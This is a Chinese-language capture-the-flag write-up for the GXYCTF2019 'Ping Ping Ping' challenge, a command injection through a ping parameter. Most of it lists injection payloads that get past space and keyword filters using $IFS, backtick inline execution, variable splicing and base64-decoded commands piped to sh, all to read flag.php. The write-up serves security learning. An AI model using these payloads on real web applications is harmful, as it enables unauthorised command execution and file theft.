题目:[GXYCTF2019]Ping Ping Ping
这道题考察的是命令执行以及绕过的内容
![![2023-06-27T07:05:06.png][1]](https://i-blog.csdnimg.cn/blog_migrate/ab97dcb4b992148b5f29118f38176d48.png)
首先这个题目没给什么信息,仅有一个ip=,可以看出这是个命令执行的题目,通过构建/?ip=127.0.0.1|ls的payload抓包发现这个页面下含有两个文件’index.php’以及’flag.php’。
尝试利用cat去获
取flag,发现存在空格的过滤

通过命令绕过空格的一般方法有
{cat,flag.txt}
cat $ {IFS}flag.txt
cat $ IFS $ 9flag.txt
cat $ IFS $ 1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg= $ ‘\x20flag.txt’&&cat$kg
这里利用cat$IFS$1flag.php试试,发现依旧存在问题

利用相同的方法去查询index.php文件,发现flag也被过滤了

一、内联绕过
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。于是可以考虑利用cat命令去获取该文件的内容
/?ip=127.0.0.1;cat$IFS$1`ls`

二、变量拼接
既然flag整个不能输入那就差分成两个部分,a=fl,b=ag
/?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

好好好,你这么过滤是吧,再来,只设置b=ag看看
/?ip=127.0.0.1;b=ag;cat$IFS$9fl$b.php

三、编码
遇到过滤不要怕,我们可以通过编码去绕过,利用base64在线加密的方式去加密我们的payload,再通过base -d解密,后跟一个sh作为shell解释器
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

当然其他的方法如:f\l\a\g这种试过,发现也被过滤了
总结:命令行执行首先要灵活运用cat、ls、sh等命令去实现文件内容的查询,绕过需要掌握编码(最简单),变量拼接,内联法去绕过过滤的内容,同时需要记住绕过空格的方法!
文章详细介绍了在GXYCTF2019挑战中如何通过命令执行来绕过过滤,包括使用cat命令、内联执行、变量拼接和编码方法尝试获取flag.php和index.php的内容,展示了多种Linux命令和过滤绕过策略。
3474





